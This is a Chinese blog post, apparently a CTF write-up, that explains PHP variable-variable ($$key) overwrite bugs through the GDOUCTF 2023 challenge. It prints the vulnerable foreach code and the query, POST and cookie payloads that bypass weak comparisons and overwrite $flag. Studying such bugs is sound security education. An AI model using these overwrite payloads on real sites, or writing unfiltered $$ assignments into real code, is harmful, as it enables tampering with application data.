首页 > 其他分享 >关于双$$变量覆写;

关于双$$变量覆写;

时间:2024-04-12 19:57:13浏览次数:24  
标签:变量 GET 覆写 代码 value flag 关于 key

本质上而言双$原本功能是允许用户自定义变量;但未过滤输入,导致传入参数是一代码中已经定义好的变量,或者全局变量时导致数据篡改,或调用危险函数;
总之;导致的变量覆盖其实就是允许可控参数作为一个变量,这个变量可以是自定义变量,也可以是代码中的变量或全局变量或特殊构造的函数"变量"等.

例题:
[GDOUCTF 2023]受不了一点
代码
前面的绕过是弱比较部分,大部分用数组就可以绕过了.
payload:?aaa=114514&bbb=114514a
gdou[]=1&ctf[]=2

变量覆盖部分

点击查看代码
  if(isset($_GET['flag']) && isset($_POST['flag'])){
                         die($give);
                    }
                   if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
                       die($get);
                    }
                    foreach ($_POST as $key => $value) {
                        $$key = $value;
                   }
                    foreach ($_GET as $key => $value) {
                         $$key = $$value;
                    }
                   echo $flag;

变量覆盖中双$$key关键是以key的值作为变量名,当key的值时代码中代码中已经定义好的变量时就会导致变量覆盖,具体而言使$key的值=1;这样就定义了$1这个变量,当赋值为flag时,这样就使$1=flag ,$value=flag,后面访问$value,其实就是访问flag,同理后面使1=flag和flag=1;其实就是

$1=flag;
$1=$flag
$flag=$1
这个操作;
这个操作的作用类似于通过引用进行的数据交换;最终实现flag=flag;
payload
http://node4.anna.nssctf.cn:28803/?aaa=114514&bbb=114514a&1=flag&flag=1
gdou[]=1&ctf[]=2&1=flag
Cookie:cookie=j0k3r;

.
总而言之;双$$变量覆盖漏洞原理就是可控变量名导致的数据篡改和危险调用;.

标签:变量,GET,覆写,代码,value,flag,关于,key
From: https://www.cnblogs.com/rcpw0tor-/p/18131801

相关文章

  • 关于UNNAMED00004
    使用闪回恢复删除表空间。以下为截取的alert日志FriApr1216:28:512024droptablespaceusersincludingcontentsanddatafilesFriApr1216:28:572024DeletedOraclemanagedfile+DATA/ORCL/DATAFILE/users.280.1166105459Completed:droptablespaceusersin......
  • 关于C++作用域符的一种用法
    当作用域符号::前不带类名,或者namespace名的时候,表示是全局作用域的意思,也就是表示所调用的函数是全局函数,或者是某个动态库的函数,这对与代码的可阅读性有很大的帮助,因为它与类型成员函数的调用做了区分,表明该函数不是类成员函数如下图的send()函数,其前面的::表明send()函数不是......
  • C++陷阱 — C++ auto变量类型推导
    问题描述C++使用auto类型声明一个单例对象的引用时,通过该auto变量来访问单例,是否等同于使用单例类::Instance()来访问单例呢?试看如下的例子:#include<stdint.h>#include<iostream>#include<string>#include<map>usingnamespacestd;classSingleClass{public:......
  • 关于委托的新认识
    缘由在技能系统的业务开发中,需要用到一个字符串对应一个方法,我首先想到的就是事件,但我想尝试一下别的后悔了,平白无故给自己玩坑数据结构:Dictionary<string,Action>那如何去初始化它呢问了ChatGPT,最终的方案是使用一个SkillManager,其中的每一个方法,就是一个技能,那现在就得到......
  • 关于工业AI辅助制造(模具设计、模样生产制造环节)
    关于工业AI辅助制造(模具设计、模样生产制造环节)AI技术的具体使用场景:AI辅助模具设计;AI辅助模具安装工艺参数调整。具体方案设想:AI辅助模具设计:使用AI大模型对历史已有的设计方案数据和设计目标数据进行学习,对设计目标和设计方案进行关联并实现在新设计要求的情......
  • java_基础01_数据类型和变量
     1.注释//单行注释/*多行注释*//**javaDoc:文档注释/***@Descriptionhello*//***_ooOoo_*o8888888o*88"."88*......
  • Oracle关于半连接SQL执行计划的执行路径一些有趣的实验
     Oracle关于半连接SQL执行计划的执行路径一些有趣的实验 从摩天轮的问答里边看到的一个问题,https://www.modb.pro/issue/34573大概有这么条SQL(包括环境构造语句),如何强制走出nestedloops的执行路径。createtabletb1asselect*fromdba_objects;createtabletb2as......
  • 记录一次因为环境变量引起的插件无法使用
    事件起因:某同事在搬家之后,Maya2019.2的插件无法正常加载,且阿诺德(Mtoa)渲染插件也无法正常加载(这是另一个问题。详情见Maya2019.2Mtoa无法正常加载,并报错)。 解决思路:首先插件无法加载的问题,由于我们单位使用的maya插件使用的是网络路径,并且是使用系统环境变量(即不管是针对哪......
  • 关于期望 dp 的一点思考
    一、前言只是一些自己的理解,并不知正确与否。首先期望\(dp\)分为伪期望\(dp\)和真期望\(dp.\)二、伪期望\(dp\)对于伪期望\(dp\)来说,其在定义状态之后,一般可以认为状态之间的转移是线性的,即每一个\(dp\)状态转移到何处具有唯一对应性,只不过具体的实现上经过了概......
  • 关于Layui的多层级的下拉选项Select使用教程
    案例代码<selectname="parentSelect"lay-filter="parentSelect"><optionvalue="">请选择父级选项</option><optionvalue="1">父级选项1</option>......